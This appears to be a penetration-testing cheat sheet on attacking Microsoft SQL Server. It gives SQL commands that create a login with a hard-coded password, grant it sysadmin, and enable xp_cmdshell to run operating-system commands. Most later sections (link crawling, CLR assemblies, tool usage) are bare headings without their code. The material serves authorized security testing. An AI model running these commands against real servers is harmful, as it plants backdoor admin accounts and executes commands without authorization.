MS SQL
Create a new login, map it to the db_owner user and assign the sysadmin role:
CREATE LOGIN [snovvcrash] WITH PASSWORD=N'Passw0rd!';
CREATE USER [snovvcrash] FOR LOGIN [snovvcrash];
ALTER ROLE [db_owner] ADD MEMBER [snovvcrash];
EXEC master..sp_addrolemember @rolename=N'db_owner', @membername=N'snovvcrash';
EXEC master..sp_addsrvrolemember @rolename=N'sysadmin', @loginame=N'snovvcrash';
EXEC master..sp_addremotelogin 'SQLSRV01\SQLEXPRESS', 'snovvcrash';Check the state of xp_cmdshell:
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';Enable xp_cmdshell:
1> EXEC sp_configure 'show advanced options', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC xp_cmdshell 'whoami'
2> GOEnumeration
Current login name (SQL Server login or Domain/Windows username, like sa):
Current database username (like msdb.dbo):
Test if current server role is public or sysadmin:
List databases:
List linked servers:
List logins available for impersonation:
UNC Path Injection
Crawl Links
Exec code from SQLSRV00 when SQLSRV01 and SQLSRV02 are linked like this SQLSRV00 -> SQLSRV01 -> SQLSRV02:
Abusing server links from C# code:
Crawl links with MSF:
Crawl links with PowerUpSQL:
LDAP Enumeration via OpenQuery
External Scripts
Enable external scripts:
Run Python code:
master.mdf
C# Examples
Custom Assemblies
Load and trigger custom assembly:
Custom assembly code example (must be compiled to SqlCmdExec.dll):
Convert custom assembly DLL to a hex string:
Tools
sqsh
mssqlclient.py
mssql_shell.py
Change MSSQL_SERVER, MSSQL_USERNAME and MSSQL_PASSWORD before running.
A scenario when abusing SeImpersonatePrivilege with PrintSpoofer (BadPotato):
mssql-cli
PowerUpSQL
DAFT
ESC
SQLRecon
mssql-spider
Last updated